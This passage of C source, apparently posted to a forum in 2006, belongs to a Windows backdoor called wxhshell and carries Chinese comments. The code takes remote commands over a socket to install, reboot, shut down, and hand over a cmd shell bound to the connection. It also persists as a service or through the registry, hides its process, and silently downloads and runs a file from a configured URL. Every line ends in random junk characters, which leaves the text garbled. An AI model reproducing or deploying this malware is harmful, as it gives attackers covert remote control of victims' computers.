  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )SU\s+"M  
  } X(Z~oGyg  
  else { b'r</ncZ  
LY:%k|L9  
    switch(cmd[0]) { H1Jk_@b  
  LuW>8K\  
  // 帮助 yxk:5L \A  
  case '?': { %B}<5iO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >^:*x_a9  
    break; WoV"&9y  
  } Z=ZTSl   
  // 安装 pmwVVUEQ  
  case 'i': { = -bGH   
    if(Install()) )_C+\K*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Dn\.x^]1  
    else [J!jp& o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~F"<Nq  
    break; a_Sp}s<J  
    } FP=up#zl  
  // 卸载 ,ArHS  
  case 'r': { qPQ6`rD\  
    if(Uninstall()) Nwwn #+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )fy-]Ky *  
    else r{>`"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `uP:UQ9S  
    break; =Gv*yR*]t  
    } ~%chF/H  
  // 显示 wxhshell 所在路径 _"%hcCMw  
  case 'p': { d4~;!#<  
    char svExeFile[MAX_PATH]; - f?8O6e  
    strcpy(svExeFile,"\n\r"); XQ3"+M_KG  
      strcat(svExeFile,ExeFile); ]J1oY]2~  
        send(wsh,svExeFile,strlen(svExeFile),0); yopC <k  
    break; =cR"_Z[8X  
    } ej,)< *  
  // 重启 &2,3R}B/  
  case 'b': { .}9Lj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^r=Wj@`  
    if(Boot(REBOOT)) @>fsg-|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *"nN To  
    else { '\O[j*h^.  
    closesocket(wsh); lfw|Q@  
    ExitThread(0); 0Ra%>e(I^  
    } CM%Rz-c  
    break; !F:ANoaS  
    } vX@T Zet0  
  // 关机 /S{U|GBB%r  
  case 'd': { 6& (bL<8b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dAWB.#  
    if(Boot(SHUTDOWN)) KS'n$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;FGS(.mjlC  
    else { c>Tf@A og>  
    closesocket(wsh); UY6aD~tD0  
    ExitThread(0); 2U|"]tpM&  
    } 3q W](  
    break; B[ .$<$}G  
    } skm~~JM^  
  // 获取shell 38 ] }+Bb  
  case 's': { ;Rlf[](iL  
    CmdShell(wsh); Z;O!KsJ  
    closesocket(wsh); t[r 6jo7  
    ExitThread(0); Sa[?B  
    break; =X1oB ,W{  
  } !,+<?o y  
  // 退出 `w&?SXFO8  
  case 'x': { z:a7)z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =2t=Zyp0Y  
    CloseIt(wsh); wz..  
    break; %4wEAi$I  
    } aUF{57,<  
  // 离开 eQz.N<f"  
  case 'q': { c/7}5#Rs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h`dHk]O  
    closesocket(wsh); KE.O>M ,I.  
    WSACleanup(); U!{~L$S  
    exit(1); .-'_At4g  
    break; w`DcnQK'  
        } @HzK)%@  
  } j8oX9 Yo0=  
  } ;Fo7 -kK  
?W_8 X2(`  
  // 提示信息 1N_T/I8_F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O>N/6Z  
} {)iiu  
  } 3:O|p[2)L  
 aGOS 9  
  return; PR/>E60H  
} '>ASr]Q  
(*M0'5  
// shell模块句柄 cTW$;Fpc+  
int CmdShell(SOCKET sock) e"UXG\8D  
{ >/Gw)K}#E  
STARTUPINFO si; 7+8 8o:G9  
ZeroMemory(&si,sizeof(si)); {Q>4zepN!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /!JxiGn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sSf;j,7V  
PROCESS_INFORMATION ProcessInfo; 9OFH6-;6`\  
char cmdline[]="cmd";  &.(iS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LF `]=.Q  
  return 0; JMk2OK {0  
} 8[.&ca/[  
dt@~8kS  
// 自身启动模式 NT2XG& $W>  
int StartFromService(void) kh@O_Q`j  
{ s2( 7z9jR  
typedef struct ALn_ifNh  
{ !rs }83w!  
  DWORD ExitStatus; ]cv/dY#  
  DWORD PebBaseAddress; nrA 4N1  
  DWORD AffinityMask; T+x / J]A  
  DWORD BasePriority; W\($LD"X  
  ULONG UniqueProcessId; Yecdw'BW?  
  ULONG InheritedFromUniqueProcessId; {sxdDl  
}   PROCESS_BASIC_INFORMATION; )3A+Ell`  
eIy:5/s  
PROCNTQSIP NtQueryInformationProcess; '4 It>50b  
ePZ Ai"k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'gXD?ARW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]&;In,z  
TQ:h[6v  
  HANDLE             hProcess; 0i"2s}^+_  
  PROCESS_BASIC_INFORMATION pbi; {\`y)k 7  
uF|Up]Z G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AFM+`{Cq  
  if(NULL == hInst ) return 0; "uP*pR^  
!VaC=I^{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !4!qHJISa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :ssj7wl :  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W}N7jPO}  
#6 ni~d&0  
  if (!NtQueryInformationProcess) return 0; $IS!GS&:  
C~ A`h=A<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?hAO-*);  
  if(!hProcess) return 0; YcV^Fqi!  
w >%^pO~}`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BW6Ox=sr<  
?(U;T!n  
  CloseHandle(hProcess); JU;`c>8=)  
@ ;@~=w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -T;^T1  
if(hProcess==NULL) return 0; Q=>5@sZB  
PjX V.gz  
HMODULE hMod; N34-z|"q  
char procName[255]; 4DDBf j  
unsigned long cbNeeded; E|>-7k")  
  NV-l9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WO{7/h</  
pouXt-%2X  
  CloseHandle(hProcess); WUjRnzVM  
'<vb_8.  
if(strstr(procName,"services")) return 1; // 以服务启动 ~QlF(@u e  
#AP;GoIf"j  
  return 0; // 注册表启动 Z m%,L$F*L  
} $=,pQ q  
vE8BB$D  
// 主模块 %~k>$(u6  
int StartWxhshell(LPSTR lpCmdLine) tl{{Vc[  
{ >itNa.K  
  SOCKET wsl; ;~L,Aqn7  
BOOL val=TRUE; 5073Q~  
  int port=0; 6$:Q]zR#'H  
  struct sockaddr_in door;  DAiS|x  
<,0/BMz  
  if(wscfg.ws_autoins) Install(); v&(=^A\eN  
>&:}L%  
port=atoi(lpCmdLine); L1I1SFG  
YlUh|sK7m  
if(port<=0) port=wscfg.ws_port; F-b]>3r  
bcvm]aPu  
  WSADATA data; ItvcN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yH]Q;X '  
K!qOO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]" e'z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KQb&7k .  
  door.sin_family = AF_INET; V_ , `?>O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iPV-w_HQ  
  door.sin_port = htons(port); &]LpGl  
Hc@_@G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3uxf n=E  
closesocket(wsl); %.u*nM7sos  
return 1; ]Jm\k'u[  
} u=qaz7E  
9d^m 7}2  
  if(listen(wsl,2) == INVALID_SOCKET) { J=78p#XUg  
closesocket(wsl); )+'=Zvgej=  
return 1; [<{r~YFjWW  
} rm ;U' &{  
  Wxhshell(wsl); N%>h>HJ  
  WSACleanup(); t_xK?``  
M*qE)dZjS  
return 0; n*ShYsc  
3) d }3w {  
} N?-ZvE\C  
1kpw*$P0  
// 以NT服务方式启动 y\uBVa<B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  K> 4w  
{ 3M+rFB}tS  
DWORD   status = 0; &L5 )v\z  
  DWORD   specificError = 0xfffffff; XEbVsw  
0,)2\`99#k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VD@$y^!H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <uS/8MP{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3Mm_xYDud  
  serviceStatus.dwWin32ExitCode     = 0; 0SWqC@AR%  
  serviceStatus.dwServiceSpecificExitCode = 0; G/FDD{y  
  serviceStatus.dwCheckPoint       = 0; uq-`1m }  
  serviceStatus.dwWaitHint       = 0; CJCxL\  
WkE="E}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Li|~%E1  
  if (hServiceStatusHandle==0) return; Zzg zeT+bv  
{DKZ ~  
status = GetLastError(); )-1e} VF(U  
  if (status!=NO_ERROR) YLTg(*  
{ T%& vq6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zj] g^c;  
    serviceStatus.dwCheckPoint       = 0; 8<T~AU8'*  
    serviceStatus.dwWaitHint       = 0; sRZ<c  
    serviceStatus.dwWin32ExitCode     = status; F(."nUrf  
    serviceStatus.dwServiceSpecificExitCode = specificError; _0gdt4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,g}$u'A+d  
    return; "= %"@"<)  
  } jUNt4  
](Wa:U}Xs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2]9 2J  
  serviceStatus.dwCheckPoint       = 0; |n tWMm:(  
  serviceStatus.dwWaitHint       = 0; ^7? WR?!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _V1:'T8  
} GRYw_}Aa  
w{dRf!b69  
// 处理NT服务事件,比如:启动、停止 M&hNkJK*G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4v _Hh<%  
{ ,aUbB8  
switch(fdwControl) 0fBwy/:  
{ SPdEO3  
case SERVICE_CONTROL_STOP: hp/pm6  
  serviceStatus.dwWin32ExitCode = 0; pO7OP"q1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v X6JjE!  
  serviceStatus.dwCheckPoint   = 0; &PL=nI\)  
  serviceStatus.dwWaitHint     = 0; Rh)XYCM  
  { y;fF|t<y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F1_,V?  
  } i.W*Go+  
  return; gl`J(  
case SERVICE_CONTROL_PAUSE: o$;&q *  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3{~(_  
  break; W/,:-R&'>  
case SERVICE_CONTROL_CONTINUE: <_t]?XHB[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PDw+Q  
  break; sT!?nn3O`  
case SERVICE_CONTROL_INTERROGATE: i~v[3e9y7  
  break; s#aj5_G  
}; ~' 955fK>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BQ u8$W  
} {D",ao   
@ewi96  
// 标准应用程序主函数 X)iI]   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #"!ga)a%L  
{ Q <D_QJ  
gI2'[OU  
// 获取操作系统版本 _<mY|  
OsIsNt=GetOsVer(); ?t6wozib2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {*hvzS{1d  
e~(e&4pb  
  // 从命令行安装 !idVF!xG  
  if(strpbrk(lpCmdLine,"iI")) Install(); :7.k E  
!lFNG:&`  
  // 下载执行文件 `i(b%$|^&Z  
if(wscfg.ws_downexe) { nXhP ME  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NkNFx<9T  
  WinExec(wscfg.ws_filenam,SW_HIDE); z\UXn RL  
} .-T P 1C  
|:#Ug  
if(!OsIsNt) { GXD<X_[  
// 如果时win9x,隐藏进程并且设置为注册表启动 sUc[!S:/  
HideProc(); R\7r!38  
StartWxhshell(lpCmdLine); 1,OkuyXy!>  
} EZ"i0u  
else .),9q z`  
  if(StartFromService()) #prYZcHv:_  
  // 以服务方式启动 .5s58H cg,  
  StartServiceCtrlDispatcher(DispatchTable); D]"W|.6@  
else Da8gOZ  
  // 普通方式启动 Xp06sl7 M  
  StartWxhshell(lpCmdLine); ic!% }S?  
4[kyzz x  
return 0; N;-%:nC  
}
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只看该作者 1 发表于: 2006-10-10
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